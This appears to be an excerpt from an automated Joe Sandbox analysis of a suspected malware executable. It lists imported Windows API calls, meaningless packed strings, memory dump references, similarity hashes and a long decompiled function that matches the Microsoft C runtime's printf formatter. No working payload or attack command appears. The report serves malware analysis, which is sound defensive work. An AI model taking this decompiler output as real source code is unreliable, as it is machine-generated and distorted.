GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 004199E8
GetStartupInfoW.KERNEL32(?), ref: 004199F5
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419A09
GlobalUnWire.KERNEL32(?), ref: 00419A67
GetProcessHeap.KERNEL32 ref: 00419AB3
GetProcessHeap.KERNEL32 ref: 00419AB9
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419AC7
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419AD1

Strings

u7, xrefs: 00419A0F
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419950
jikatopoxolumuho, xrefs: 00419982
nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 0041997D
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419955
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 004199E3
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419978
wegazevevemitohokababawijufapiyodewemu, xrefs: 0041995A

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: 4ec73510ce73c944f076acbe929cd0c7c06d61a5b85a9bf9fa7eaa6dbc46b93e
Instruction ID: f0db97b2ab184b1bbd1dfb89a6de3150a394acf07633113eb5f2b6d7899568b8
Opcode Fuzzy Hash: 4ec73510ce73c944f076acbe929cd0c7c06d61a5b85a9bf9fa7eaa6dbc46b93e
Instruction Fuzzy Hash: 68314F35940298EFDB10DB90DE49FD977B9EB04746F1000A7F206F50A0D7B85AC88F19

Uniqueness

Uniqueness Score: -1.00%

Function 00434D69, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434D69(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428150(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428150(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428150(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428150(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428170(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428170(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430570(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004305F0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C1C0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435350))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00431000( *(_t701 - 0x251) & 0x000000ff, E0041AAD0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00427FE0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00427FE0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E000();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422AF0(_t616))) = 0x16;
																									E00422880(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041AAA0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435388; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435370))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x4353b0; // 0x4bbe9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043539C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E000();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422AF0(_t618))) = 0x16;
																						E00422880(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041AAA0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BAA0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E000();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041AAA0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422AF0(_t605))) = 0x16;
																				E00422880(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041AAA0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E00428080(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E004280C0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E00428080(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E004280C0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E00434010(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004280C0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E00428080(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428150(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
